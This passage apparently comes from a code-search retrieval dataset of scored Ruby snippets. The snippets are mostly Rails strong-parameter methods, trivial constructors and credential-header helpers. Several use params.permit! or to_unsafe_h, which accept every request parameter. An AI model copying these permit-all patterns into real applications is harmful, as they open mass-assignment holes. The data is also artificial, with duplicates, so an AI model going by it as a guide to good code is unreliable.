},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.6156658",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "13e3cfbfe510f765b5944667d772f453",
"score": "0.61559016",
"text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end",
"title": ""
},
{
"docid": "b9432eac2fc04860bb585f9af0d932bc",
"score": "0.6136121",
"text": "def wall_params\n params.permit(:public_view, :guest)\n end",
"title": ""
},
{
"docid": "f2342adbf71ecbb79f87f58ff29c51ba",
"score": "0.61345404",
"text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "8fa507ebc4288c14857ace21acf54c26",
"score": "0.6120985",
"text": "def strong_params\n # to dooo\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.6118153",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.6118153",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "9292c51af27231dfd9f6478a027d419e",
"score": "0.61144924",
"text": "def domain_params\n params[:domain].permit!\n end",
"title": ""
},
{
"docid": "a3aee889e493e2b235619affa62f39c3",
"score": "0.61125064",
"text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.6104286",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.6104286",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.60988307",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.60988307",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "677293afd31e8916c0aee52a787b75d8",
"score": "0.6086679",
"text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end",
"title": ""
},
{
"docid": "e50ea3adc222a8db489f0ed3d1dce35b",
"score": "0.60861516",
"text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end",
"title": ""
},
{
"docid": "b7ab5b72771a4a2eaa77904bb0356a48",
"score": "0.60854965",
"text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end",
"title": ""
},
{
"docid": "b2841e384487f587427c4b35498c133f",
"score": "0.60784113",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "3f5347ed890eed5ea86b70281803d375",
"score": "0.6075904",
"text": "def user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "a3dc8b6db1e6584a8305a96ebb06ad21",
"score": "0.6069803",
"text": "def need_params\n end",
"title": ""
},
{
"docid": "0c8779b5d7fc10083824e36bfab170de",
"score": "0.60691726",
"text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end",
"title": ""
},
{
"docid": "fa0608a79e8d27c2a070862e616c8c58",
"score": "0.60677636",
"text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.60670036",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "4f8205e45790aaf4521cdc5f872c2752",
"score": "0.60642415",
"text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end",
"title": ""
},
{
"docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06",
"score": "0.60642093",
"text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.6063699",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "d6886c65f0ba5ebad9a2fe5976b70049",
"score": "0.6057904",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.6049856",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.6049856",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "96ddf2d48ead6ef7a904c961c284d036",
"score": "0.60493153",
"text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end",
"title": ""
},
{
"docid": "75b7084f97e908d1548a1d23c68a6c4c",
"score": "0.6047263",
"text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end",
"title": ""
},
{
"docid": "080d2fb67f69228501429ad29d14eb29",
"score": "0.60412097",
"text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff",
"score": "0.6035046",
"text": "def parameters\n params.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8",
"score": "0.6030718",
"text": "def filter_params\n end",
"title": ""
},
{
"docid": "cf73c42e01765dd1c09630007357379c",
"score": "0.6027412",
"text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end",
"title": ""
},
{
"docid": "793abf19d555fb6aa75265abdbac23a3",
"score": "0.60227424",
"text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end",
"title": ""
},
{
"docid": "2e70947f467cb6b1fda5cddcd6dc6304",
"score": "0.60212505",
"text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend",
"title": ""
},
{
"docid": "2a11104d8397f6fb79f9a57f6d6151c7",
"score": "0.60179645",
"text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end",
"title": ""
},
{
"docid": "a83bc4d11697ba3c866a5eaae3be7e05",
"score": "0.60158634",
"text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end",
"title": ""
},
{
"docid": "2aa7b93e192af3519f13e9c65843a6ed",
"score": "0.60089386",
"text": "def user_params\n params[:user].permit!\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6007368",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6007368",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "9c8cd7c9e353c522f2b88f2cf815ef4e",
"score": "0.6006898",
"text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "9736586d5c470252911ec58107dff461",
"score": "0.60060626",
"text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end",
"title": ""
},
{
"docid": "e7cad604922ed7fad31f22b52ecdbd13",
"score": "0.60033864",
"text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.6002875",
"text": "def room_allowed_params\n end",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.60017014",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.60017014",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "2e6de53893e405d0fe83b9d18b696bd5",
"score": "0.59998643",
"text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.5999541",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.5999541",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "a50ca4c82eaf086dcbcc9b485ebd4261",
"score": "0.599479",
"text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end",
"title": ""
},
{
"docid": "0f53610616212c35950b45fbcf9f5ad4",
"score": "0.599417",
"text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end",
"title": ""
},
{
"docid": "b545ec7bfd51dc43b982b451a715a538",
"score": "0.59940106",
"text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.5992595",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
},
{
"docid": "0b704016f3538045eb52c45442e7f704",
"score": "0.5992174",
"text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end",
"title": ""
}
] |
975a830017e0ab4ceeaa88a427ee27fb
|
Constructs a new instance.
|
[
{
"docid": "5e623d9f64380a21fa3b83b7a4c6d044",
"score": "0.0",
"text": "def initialize(value, unknown = nil)\n super(self.class.binding_type, value, unknown)\n end",
"title": ""
}
] |
[
{
"docid": "e2b31d60b2b5b380040a867c381a1b70",
"score": "0.8045547",
"text": "def new\n \n end",
"title": ""
},
{
"docid": "e2b31d60b2b5b380040a867c381a1b70",
"score": "0.8045547",
"text": "def new\n \n end",
"title": ""
},
{
"docid": "e2b31d60b2b5b380040a867c381a1b70",
"score": "0.8045547",
"text": "def new\n \n end",
"title": ""
},
{
"docid": "e2b31d60b2b5b380040a867c381a1b70",
"score": "0.8045547",
"text": "def new\n \n end",
"title": ""
},
{
"docid": "3bcd882268911f03b8c342c03668c47b",
"score": "0.80440617",
"text": "def new; end",
"title": ""
},
{
"docid": "3bcd882268911f03b8c342c03668c47b",
"score": "0.80440617",
"text": "def new; end",
"title": ""
},
{
"docid": "3bcd882268911f03b8c342c03668c47b",
"score": "0.80440617",
"text": "def new; end",
"title": ""
},
{
"docid": "3bcd882268911f03b8c342c03668c47b",
"score": "0.80440617",
"text": "def new; end",
"title": ""
},
{
"docid": "3bcd882268911f03b8c342c03668c47b",
"score": "0.80440617",
"text": "def new; end",
"title": ""
},
{
"docid": "3bcd882268911f03b8c342c03668c47b",
"score": "0.80440617",
"text": "def new; end",
"title": ""
},
{
"docid": "3bcd882268911f03b8c342c03668c47b",
"score": "0.80440617",
"text": "def new; end",
"title": ""
},
{
"docid": "3bcd882268911f03b8c342c03668c47b",
"score": "0.80440617",
"text": "def new; end",
"title": ""
},
{
"docid": "3bcd882268911f03b8c342c03668c47b",
"score": "0.80440617",
"text": "def new; end",
"title": ""
},
{
"docid": "3bcd882268911f03b8c342c03668c47b",
"score": "0.80440617",
"text": "def new; end",
"title": ""
},
{
"docid": "3bcd882268911f03b8c342c03668c47b",
"score": "0.80440617",
"text": "def new; end",
"title": ""
},
{
"docid": "3bcd882268911f03b8c342c03668c47b",
"score": "0.80440617",
"text": "def new; end",
"title": ""
},
{
"docid": "3bcd882268911f03b8c342c03668c47b",
"score": "0.80440617",
"text": "def new; end",
"title": ""
},
{
"docid": "3bcd882268911f03b8c342c03668c47b",
"score": "0.80440617",
"text": "def new; end",
"title": ""
},
{
"docid": "3bcd882268911f03b8c342c03668c47b",
"score": "0.80440617",
"text": "def new; end",
"title": ""
},
{
"docid": "3bcd882268911f03b8c342c03668c47b",
"score": "0.80440617",
"text": "def new; end",
"title": ""
},
{
"docid": "3bcd882268911f03b8c342c03668c47b",
"score": "0.80440617",
"text": "def new; end",
"title": ""
},
{
"docid": "3e18cb2a5056cf5c82e7b585d5f1254d",
"score": "0.78544575",
"text": "def new\n inst = self.allocate\n inst.initialize\n inst\n end",
"title": ""
},
{
"docid": "3e18cb2a5056cf5c82e7b585d5f1254d",
"score": "0.78544575",
"text": "def new\n inst = self.allocate\n inst.initialize\n inst\n end",
"title": ""
},
{
"docid": "2ec4946cf4700263b114611fe9608ce2",
"score": "0.77168465",
"text": "def new; self end",
"title": ""
},
{
"docid": "cfa08c71c616cdc11ac3715b69147db0",
"score": "0.7695489",
"text": "def new\n \n end",
"title": ""
},
{
"docid": "cfa08c71c616cdc11ac3715b69147db0",
"score": "0.7695489",
"text": "def new\n \n end",
"title": ""
},
{
"docid": "cfa08c71c616cdc11ac3715b69147db0",
"score": "0.7695489",
"text": "def new\n \n end",
"title": ""
},
{
"docid": "cfa08c71c616cdc11ac3715b69147db0",
"score": "0.7695489",
"text": "def new\n \n end",
"title": ""
},
{
"docid": "8adda1b144e03f06faf1aa28abfdf9b0",
"score": "0.7688422",
"text": "def new(*args)\n self.class.new(*args)\n end",
"title": ""
},
{
"docid": "edefb41e6036fd69564480d350745cb1",
"score": "0.76513064",
"text": "def new\n # Nothing to see here, atm\n end",
"title": ""
},
{
"docid": "bc50701b04b9669938f1d64cfdb1fa80",
"score": "0.7633784",
"text": "def new(*args); end",
"title": ""
},
{
"docid": "df3bad92f81c9695d2f61be965850d70",
"score": "0.76327056",
"text": "def new(*args)\n super\n end",
"title": ""
},
{
"docid": "c4c797f4e170e07198b939f09207cad2",
"score": "0.7615316",
"text": "def construct; end",
"title": ""
},
{
"docid": "0182ee54dc9f55415b4a5f6698a86129",
"score": "0.75171906",
"text": "def initialize\n self\n end",
"title": ""
},
{
"docid": "bfec75ba54576a40ea45df45e210371a",
"score": "0.7493543",
"text": "def initialize\n \n end",
"title": ""
},
{
"docid": "d4dbb1e94af52ef8c712b66ef7cda0d5",
"score": "0.74205095",
"text": "def construct(*args)\n self.klass.new(args)\n end",
"title": ""
},
{
"docid": "30db4e5d165a6098d1aeb8f8dd7b66e8",
"score": "0.73675203",
"text": "def initialize() end",
"title": ""
},
{
"docid": "30db4e5d165a6098d1aeb8f8dd7b66e8",
"score": "0.73675203",
"text": "def initialize() end",
"title": ""
},
{
"docid": "c6116a572da53228c0ff0d98bc9a2bfc",
"score": "0.7343034",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "c6116a572da53228c0ff0d98bc9a2bfc",
"score": "0.7343034",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "c6116a572da53228c0ff0d98bc9a2bfc",
"score": "0.7343034",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "c6116a572da53228c0ff0d98bc9a2bfc",
"score": "0.7343034",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "c6116a572da53228c0ff0d98bc9a2bfc",
"score": "0.7343034",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "c6116a572da53228c0ff0d98bc9a2bfc",
"score": "0.7343034",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "c6116a572da53228c0ff0d98bc9a2bfc",
"score": "0.7343034",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "c6116a572da53228c0ff0d98bc9a2bfc",
"score": "0.7343034",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "c6116a572da53228c0ff0d98bc9a2bfc",
"score": "0.7343034",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "04497f34329faddde1da11685d15e45d",
"score": "0.73427063",
"text": "def new; end",
"title": ""
},
{
"docid": "413eb7a7781383c931819b4af16b7ad0",
"score": "0.73336613",
"text": "def initialize\n \n end",
"title": ""
},
{
"docid": "413eb7a7781383c931819b4af16b7ad0",
"score": "0.73336613",
"text": "def initialize\n \n end",
"title": ""
},
{
"docid": "7866e43415b454926b27c4c4881d63b0",
"score": "0.7288684",
"text": "def new(name); end",
"title": ""
},
{
"docid": "7866e43415b454926b27c4c4881d63b0",
"score": "0.7288684",
"text": "def new(name); end",
"title": ""
},
{
"docid": "7866e43415b454926b27c4c4881d63b0",
"score": "0.7288684",
"text": "def new(name); end",
"title": ""
},
{
"docid": "7866e43415b454926b27c4c4881d63b0",
"score": "0.7288684",
"text": "def new(name); end",
"title": ""
},
{
"docid": "7866e43415b454926b27c4c4881d63b0",
"score": "0.7288684",
"text": "def new(name); end",
"title": ""
},
{
"docid": "7866e43415b454926b27c4c4881d63b0",
"score": "0.7288684",
"text": "def new(name); end",
"title": ""
},
{
"docid": "7866e43415b454926b27c4c4881d63b0",
"score": "0.7288684",
"text": "def new(name); end",
"title": ""
},
{
"docid": "7866e43415b454926b27c4c4881d63b0",
"score": "0.7288684",
"text": "def new(name); end",
"title": ""
},
{
"docid": "52b4fba67deb4dd7f43f3fb486fd1535",
"score": "0.7280512",
"text": "def create(*args)\n new(*args)\n end",
"title": ""
},
{
"docid": "677c07f5a78773a6bd46124e7e6fc28f",
"score": "0.7262246",
"text": "def new(init = nil)\n create(init: init)\n end",
"title": ""
},
{
"docid": "8e3629bb42b471c640e3e1bd665bf3b2",
"score": "0.7258747",
"text": "def initialize(*) end",
"title": ""
},
{
"docid": "02fcfb474eba429c123242d716e023e7",
"score": "0.7241807",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "02fcfb474eba429c123242d716e023e7",
"score": "0.7241807",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "02fcfb474eba429c123242d716e023e7",
"score": "0.7241807",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "02fcfb474eba429c123242d716e023e7",
"score": "0.7241807",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "02fcfb474eba429c123242d716e023e7",
"score": "0.7241807",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "02fcfb474eba429c123242d716e023e7",
"score": "0.7241807",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "02fcfb474eba429c123242d716e023e7",
"score": "0.7241807",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "02fcfb474eba429c123242d716e023e7",
"score": "0.7241807",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "02fcfb474eba429c123242d716e023e7",
"score": "0.7241807",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "02fcfb474eba429c123242d716e023e7",
"score": "0.7241807",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "02fcfb474eba429c123242d716e023e7",
"score": "0.7241807",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "02fcfb474eba429c123242d716e023e7",
"score": "0.7241807",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "02fcfb474eba429c123242d716e023e7",
"score": "0.7241807",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "02fcfb474eba429c123242d716e023e7",
"score": "0.7241807",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "02fcfb474eba429c123242d716e023e7",
"score": "0.7241807",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "02fcfb474eba429c123242d716e023e7",
"score": "0.7241807",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "02fcfb474eba429c123242d716e023e7",
"score": "0.7241807",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "02fcfb474eba429c123242d716e023e7",
"score": "0.7241807",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "02fcfb474eba429c123242d716e023e7",
"score": "0.7241807",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "02fcfb474eba429c123242d716e023e7",
"score": "0.7241807",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "02fcfb474eba429c123242d716e023e7",
"score": "0.7241807",
"text": "def initialize\n end",
"title": ""
},
{
"docid": "4b1fa20b690a7df420ec23c40dc8283c",
"score": "0.72412014",
"text": "def new?; end",
"title": ""
},
{
"docid": "6b936507213d0e02c379ff276a28228e",
"score": "0.72103447",
"text": "def initialize()\n end",
"title": ""
},
{
"docid": "7dec9269614528a589912a28afebedb8",
"score": "0.7196008",
"text": "def build(attrs = {})\n new(attrs)\n end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.71855557",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.71855557",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.71855557",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.71855557",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.71855557",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.71855557",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.71855557",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.71855557",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.71855557",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.71855557",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.71855557",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.71855557",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.71855557",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.71855557",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.71855557",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.71855557",
"text": "def initialize; end",
"title": ""
}
] |
584dc0b4254e7428bff22d566ecde208
|
Returns all of the credentials received from the CredentialHandler, except for ignored fields. Args: credentials: request credentials Returns: hash with header names and values
|
[
{
"docid": "51cac37b79238a4122b029716cc6ccef",
"score": "0.7250184",
"text": "def headers(credentials)\n result = credentials.reject do |field, value|\n IGNORED_FIELDS.include?(field)\n end\n result[:access_token] = get_token(credentials)\n return result\n end",
"title": ""
}
] |
[
{
"docid": "7634973613751509083eb1f848addbf7",
"score": "0.7208589",
"text": "def headers(credentials)\n @token = generate_token(credentials) if @token == nil\n result = {}\n result[:authToken] = @token\n credentials.each do |p, v|\n result[p] = v unless IGNORED_FIELDS.include?(p)\n end\n return result\n end",
"title": ""
},
{
"docid": "8f47c45c4a2c040a9001ab4352c183ae",
"score": "0.7199689",
"text": "def headers(credentials)\n return credentials\n end",
"title": ""
},
{
"docid": "18ee3224abb6e3a1fd3fedfd4175a624",
"score": "0.6778188",
"text": "def credentials\n return empty_auth = {:username => nil, :password => nil} #REFACTOR so following works\n empty_auth = {:username => nil, :password => nil}\n amf_credentials||html_credentials||empty_auth #return an empty auth, this watches out for being the cause of an exception, (nil[])\n end",
"title": ""
},
{
"docid": "183ce2489e49070b44f80c200e75bb73",
"score": "0.67550343",
"text": "def credentials\n empty_auth = {:username => nil, :password => nil}\n amf_credentials||html_credentials||empty_auth #return an empty auth, this watches out for being the cause of an exception, (nil[])\n end",
"title": ""
},
{
"docid": "62fd33ec499ab040f78781d2ae4ec868",
"score": "0.67150027",
"text": "def header_list(credentials)\n result = credentials.keys.map.reject do |field|\n IGNORED_FIELDS.include?(field)\n end\n result << :access_token\n return result\n end",
"title": ""
},
{
"docid": "629194652e4d2ccd5d5c0ee3df048bba",
"score": "0.6668964",
"text": "def header_list(credentials)\n result = []\n result << :authToken\n credentials.each do |p, v|\n result << p unless IGNORED_FIELDS.include?(p)\n end\n return result\n end",
"title": ""
},
{
"docid": "04132125bc730cc7473159838f4d6847",
"score": "0.66243476",
"text": "def header_list(credentials)\n return credentials.keys\n end",
"title": ""
},
{
"docid": "612bf7cb8e3e2998ea965c9440c9e30b",
"score": "0.654308",
"text": "def credentials\n headers = {}.tap do |h|\n h[:authorization] = \"Token token=\\\"#{Base64.strict_encode64 token.to_json}\\\"\"\n h[:x_forwarded_for] = @remote_ip if @remote_ip\n end\n { headers: headers, username: username }\n end",
"title": ""
},
{
"docid": "b05468a4c8919c8f151c9bacec5e1294",
"score": "0.6537168",
"text": "def credentials\n auth_hash['credentials']\n end",
"title": ""
},
{
"docid": "b05468a4c8919c8f151c9bacec5e1294",
"score": "0.6537168",
"text": "def credentials\n auth_hash['credentials']\n end",
"title": ""
},
{
"docid": "2556752be4fd19405c68c8817b25ac68",
"score": "0.6501959",
"text": "def credentials\n ds_cred_key = RubyAMF.configuration.translate_case ? \"ds_remote_credentials\" : \"DSRemoteCredentials\"\n if RubyAMF.configuration.hash_key_access == :symbol\n userid_key = :userid\n username_key = :username\n password_key = :password\n ds_cred_key = ds_cred_key.to_sym\n else\n userid_key = \"userid\"\n username_key = \"username\"\n password_key = \"password\"\n end\n\n # Old style setHeader('Credentials', CREDENTIALS_HASH)\n if @headers['Credentials']\n h = @headers['Credentials']\n return {username_key => h.data[userid_key], password_key => h.data[password_key]}\n end\n\n # New style DSRemoteCredentials\n messages.each do |m|\n if m.data.is_a?(RocketAMF::Values::RemotingMessage)\n if m.data.headers && m.data.headers[ds_cred_key]\n username,password = Base64.decode64(m.data.headers[ds_cred_key]).split(':')\n return {username_key => username, password_key => password}\n end\n end\n end\n\n # Failure case sends empty credentials, because rubyamf_plugin does it\n {username_key => nil, password_key => nil}\n end",
"title": ""
},
{
"docid": "4f0230115f4e07f5dd4a24f048253de9",
"score": "0.64909977",
"text": "def credentials\n { username: username, password: password }.freeze\n end",
"title": ""
},
{
"docid": "30242dc82633859aec70258f7c0d7cd0",
"score": "0.61800414",
"text": "def credentials\n fail_authentication unless credentials?\n @rack_request.credentials\n end",
"title": ""
},
{
"docid": "1fb5a740aa18a33b0dc88ec927deb329",
"score": "0.61551905",
"text": "def credentials\n {}\n end",
"title": ""
},
{
"docid": "e4fe424041037a7a26bba9135d4c56cc",
"score": "0.60554",
"text": "def getCredentials()\n credentials = {}\n \n @resource[:credentials].each do |key, item|\n case key\n \n when :provider\n credentials[:provider] = item\n when :hp_access_key\n credentials[:hp_access_key] = item\n when :hp_secret_key\n credentials[:hp_secret_key] = item\n when :hp_tenant_id\n credentials[:hp_tenant_id] = item \n when :hp_auth_uri\n credentials[:hp_auth_uri] = item \n when :hp_avl_zone\n credentials[:hp_avl_zone] = item \n end\n \n end \n \n return credentials \n \n end",
"title": ""
},
{
"docid": "acba9ea7d2b138f03b3dc11733a716c6",
"score": "0.6028262",
"text": "def credentials_hash\n raise(ConfigError, 'config username or password are nil') unless @username && @password\n\n credentials_hash = { username: @username, password: @password }.freeze\n credentials_hash = credentials_hash.merge({ method: @method }) if @method\n { auth: credentials_hash }.freeze\n end",
"title": ""
},
{
"docid": "d0cd79fca86b3edc56394fef49ddd722",
"score": "0.597552",
"text": "def credentials\n []\n end",
"title": ""
},
{
"docid": "3ff805207507435a708db3d28768baf2",
"score": "0.59488547",
"text": "def credentials\n {:username => username, :password => password}\n end",
"title": ""
},
{
"docid": "b08db5c65bc36903af4ea75298661d6b",
"score": "0.5926939",
"text": "def credentials\n basic? ? authorization.gsub(/\\n/, \"\").split[1].unpack(\"m*\").first.split(/:/, 2) :\n oauth? ? authorization.gsub(/\\n/, \"\").split[1] : nil\n end",
"title": ""
},
{
"docid": "61fae89777431c1b78ebabfecede9d0e",
"score": "0.59182376",
